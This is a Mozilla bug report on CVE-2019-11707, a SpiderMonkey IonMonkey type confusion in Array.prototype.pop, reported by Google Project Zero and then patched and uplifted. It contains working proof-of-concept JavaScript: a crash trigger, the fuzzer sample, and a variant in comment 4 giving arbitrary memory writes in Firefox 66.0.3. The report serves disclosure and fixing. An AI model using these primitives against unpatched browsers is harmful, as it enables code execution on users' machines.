1544386 - (CVE-2019-11707) Spidermonkey: IonMonkey incorrectly predicts return type of Array.prototype.pop, leading to type confusions

Status: RESOLVED FIXED

(Core :: JavaScript Engine: JIT, defect, P1)

Description

[Samuel Groß]

The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):

// Run with --no-threads for increased reliability
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8,v9) {
    if (v4.length == 0) {
        v4[3] = {a: 5};
    }

    // pop the last value. IonMonkey will, based on inferred types, conclude that the result
    // will always be an object, which is untrue when  p[0] is fetched here.
    const v11 = v4.pop();

    // Then if will crash here when dereferencing a controlled double value as pointer.
    v11.a;

    // Force JIT compilation.
    for (let v15 = 0; v15 < 10000; v15++) {}
}

var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;

for (let v31 = 0; v31 < 1000; v31++) {
    v7();
}

When run, it produces a crash similar to the following:

* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x000025a3b99b26cb
->  0x25a3b99b26cb: cmp    qword ptr [rax], r11
    0x25a3b99b26ce: jne    0x25a3b99b26dd
    0x25a3b99b26d4: cmovne rax, rcx
    0x25a3b99b26d8: jmp    0x25a3b99b26f4
Target 0: (js) stopped.
(lldb) reg read rax
     rax = 0x4141414141414141

I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:

• when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with INFERFLAGS=full in the environment)
• in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
• v7 is executed a few times and all original elements from v4 are popped
• the element assignment (v4[3] = ...) changes the length of the array (to 4) without changing the inferred element types

Afterwards, v7 is (re-)compiled by IonMonkey:

• the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
• since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
• IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
• Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]

At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:

• The runtime call to ArrayPopDense is taken
• this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
• the array pop operation thus returns a double value

However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.

To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.

Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

With any fix, please give credit for identifying the vulnerability to Samuel Groß of Google Project Zero.

[1] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MCallOptimize.cpp#L885
[2] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MCallOptimize.cpp#L945
[3] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/MIR.cpp#L5836
[4] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/CodeGenerator.cpp#L9891
[5] https://github.com/mozilla/gecko-dev/blob/83bea62461d1e30aebef5077462fafb256368e9e/js/src/jit/VMFunctions.cpp#L430

Comment 1

[Samuel Groß]

Below is the original sample triggered by my fuzzer:

let v2 = 0;
v2 = 7;
const v4 = [13.37,13.37,13.37,13.37,13.37];
function v7(v8,v9) {
    const v10 = v2 + v4;
    v4[v10] = Object;
    const v11 = v4.pop();
    for (let v15 = 0; v15 < 100; v15++) {
    }
}
v4.__proto__ = Object;
for (let v19 = 0; v19 < 100; v19++) {
    const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0];
    let v24 = Object;
    v24.__proto__ = v23;
    const v26 = String.fromCharCode(v19);
    Object[0] = v26;
}
for (let v31 = 0; v31 < 100; v31++) {
    const v32 = v7();
}

Comment 2

[Jan de Mooij [:jandem]]

PrototypeHasIndexedProperty needs to add a constraint.

We need to prioritize the planned interface refactoring to prevent these bugs.

Comment 3

[Jan de Mooij [:jandem]]

We filed bug 1544429 for IonBuilder work to deal with this class of bugs.

Comment 4

[Samuel Groß]

I'm a bit surprised about the sec-high rating as this issue is very similar to e.g. https://bugzilla.mozilla.org/show_bug.cgi?id=1530958 and https://bugzilla.mozilla.org/show_bug.cgi?id=1538120 which were both rated as sec-critical.

The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3:

// Run with --no-threads for increased reliability
let ab = new ArrayBuffer(0x1000);

// Confuse these two types with each other below.
let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
let y = new Uint32Array(0x1000);

const v4 = [y, y, y, y, y];
function v7(v8,v9) {
    if (v4.length == 0) {
        v4[3] = y;
    }

    // pop the last value. IonMonkey will, based on inferred types, conclude that the result
    // will always be an object, which is untrue when p[0] is fetched here.
    const v11 = v4.pop();

    // It will then crash here when writing to a controlled address (0x414141414141).
    v11[0] = 0x1337;

    // Force JIT compilation.
    for (let v15 = 0; v15 < 10000; v15++) {}
}

var p = {};
p.__proto__ = [y, y, y];
p[0] = x;
v4.__proto__ = p;

for (let v31 = 0; v31 < 1000; v31++) {
    v7();
}


/* Crashes as follows in Firefox 66.0.3:

(lldb) process attach --pid 12534
...

Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container".
(lldb) c
Process 12534 resuming
Process 12534 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141)
    frame #0: 0x000037f56ae479bd
->  0x37f56ae479bd: mov    dword ptr [rcx + 4*rax], 0x1337
Target 0: (plugin-container) stopped.
(lldb) reg read rcx rax
     rcx = 0x0000414141414141
     rax = 0x0000000000000000
*/

Comment 5

[Andrew McCreight [:mccr8]]

(In reply to Samuel Groß from comment #4)

I'm a bit surprised about the sec-high rating as this issue is very similar to e.g. https://bugzilla.mozilla.org/show_bug.cgi?id=1530958 and https://bugzilla.mozilla.org/show_bug.cgi?id=1538120 which were both rated as sec-critical.

I believe that nowadays we're rating remote code execution in sandboxed content processes as sec-high and not sec-critical. Bug 1530958 should probably have been sec-high and not sec-critical. Jan likely rated it the latter because we were marking bugs like this sec-critical up until the last year or so.

Comment 6

[Samuel Groß]

(In reply to Andrew McCreight [:mccr8] from comment #5)

Alright, thanks for explaining!

Comment 8

[Jan de Mooij [:jandem]]

The bug here is that when we inline pop/shift and some other natives, we call ArrayPrototypeHasIndexedProperty but that makes no sense because these natives can be called with a |this| value that had its proto mutated to some other object.

Comment 9

[Jan de Mooij [:jandem]]

Attachment: Bug 1544386 part 1 - Call ElementAccessHasExtraIndexedProperty instead of ArrayPrototypeHasIndexedProperty when inlining array natives. r?tcampbell!

This simplifies the code a bit because ElementAccessHasExtraIndexedProperty
checks for length-overflow and sparse-indexes so the callers don't have to
do that anymore.

Comment 10

[Jan de Mooij [:jandem]]

Attachment: Bug 1544386 part 2 - Fold TypeCanHaveExtraIndexedProperties and PrototypeHasIndexedProperty into ElementAccessHasExtraIndexedProperty. r?tcampbell!

These functions now don't have other callers and I find it easier to reason
about the code this way. It also prevents us from calling these helper functions
directly.

Depends on D29486

Comment 11

[Jan de Mooij [:jandem]]

Attachment: Bug 1544386 part 3 - Add tests. r?tcampbell!

Depends on D29487

Comment 12

[Jan de Mooij [:jandem]]

The first patch is the fix for the issue in comment 8. The other two parts are follow-up changes to land later.

Comment 13

[Jan de Mooij [:jandem]]

Comment on attachment 9061877 [details]
Bug 1544386 part 1 - Call ElementAccessHasExtraIndexedProperty instead of ArrayPrototypeHasIndexedProperty when inlining array natives. r?tcampbell!

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Hard to say. It's not super easy but it's possible.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
• Which older supported branches are affected by this flaw?: All
• If not all supported branches, which bug introduced the flaw?: Old bug
• Do you have backports for the affected branches?: Yes
• If not, how different, hard to create, and risky will they be?:
• How likely is this patch to cause regressions; how much testing does it need?: Pretty unlikely, we have tests for this and this makes us reuse more code we use elsewhere.

Comment 14

[Al Billings [:abillings - ex-MoCo]]

This is too late to make this cycle. This has sec-approval+ for June 5, 2019, so we can get it in the next one.

Comment 15

[Jan de Mooij [:jandem]]

https://hg.mozilla.org/integration/autoland/rev/a74585a7dec4

Comment 16

[Jan de Mooij [:jandem]]

NI myself for uplifts.

Comment 17

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/a74585a7dec4

Comment 18

[Jan de Mooij [:jandem]]

Comment on attachment 9061877 [details]
Bug 1544386 part 1 - Call ElementAccessHasExtraIndexedProperty instead of ArrayPrototypeHasIndexedProperty when inlining array natives. r?tcampbell!

Beta/Release Uplift Approval Request

• User impact if declined: Security issues.
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Small patch. Removes some broken code and replaces it with a call to code that we already use elsewhere.
• String changes made/needed: None

Comment 19

[Julien Cristau [:jcristau]]

Comment on attachment 9061877 [details]
Bug 1544386 part 1 - Call ElementAccessHasExtraIndexedProperty instead of ArrayPrototypeHasIndexedProperty when inlining array natives. r?tcampbell!

sec-high fix, approved for 68.0b9

Comment 20

[Julien Cristau [:jcristau]]

https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e

Comment 21

[Jan de Mooij [:jandem]]

Comment on attachment 9061877 [details]
Bug 1544386 part 1 - Call ElementAccessHasExtraIndexedProperty instead of ArrayPrototypeHasIndexedProperty when inlining array natives. r?tcampbell!

Beta/Release Uplift Approval Request

• User impact if declined: 0 day, bug 1559845
• Is this code covered by automated tests?: Yes
• Has the fix been verified in Nightly?: Yes
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky):
• String changes made/needed:

Comment 22

[Liz Henry (:lizzard) (relman/hg->git project)]

Comment on attachment 9061877 [details]
Bug 1544386 part 1 - Call ElementAccessHasExtraIndexedProperty instead of ArrayPrototypeHasIndexedProperty when inlining array natives. r?tcampbell!

OK for uplift for esr60 and m-r.

Comment 23

[Razvan Maries]

https://hg.mozilla.org/releases/mozilla-release/rev/99a829d2a2a7859b10508b6f05e99780c5e2dc68

Comment 24

[Jan de Mooij [:jandem]]

Attachment: Patch for ESR60

Comment 25

[Julien Cristau [:jcristau]]

https://hg.mozilla.org/releases/mozilla-esr60/rev/560efdce1d072281398a98244e2ec43ab1f92186

Comment 26

[Bogdan Maris, Desktop Test Engineering]

Setting qe-verify- based on comment 18.

Comment 27

[Frederik Braun [:freddy]]

FWIW, I did manual testing for esr60 and 67.0.3 based on the test case in comment 0.

Comment 28

[Ted Campbell [:tcampbell]]

Jan, let's abandon the Part 2 cleanup patch from this bug. I think we can send the suggestion to Iain for consideration in the TIOracle work.

Comment 29

[Iain Ireland [:iain]]

Conveniently, I already have a patch that bundles that logic into the same function (along with a variety of other cleanups, like giving it a more meaningful name). I should be able to upload it later today.

Comment 30

[Jan de Mooij [:jandem]]

Sounds good to me!

Comment 31

[Jan de Mooij [:jandem]]

Landed part 3, tests: https://hg.mozilla.org/integration/autoland/rev/86ce001758665a6848419c3a158fc5ec4fe633bc

Comment 32

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Tests: https://hg.mozilla.org/mozilla-central/rev/86ce00175866

Comment 33

[Firefox Bug Husbandry Bot]

Please specify a root cause for this bug. See :tmaity for more information.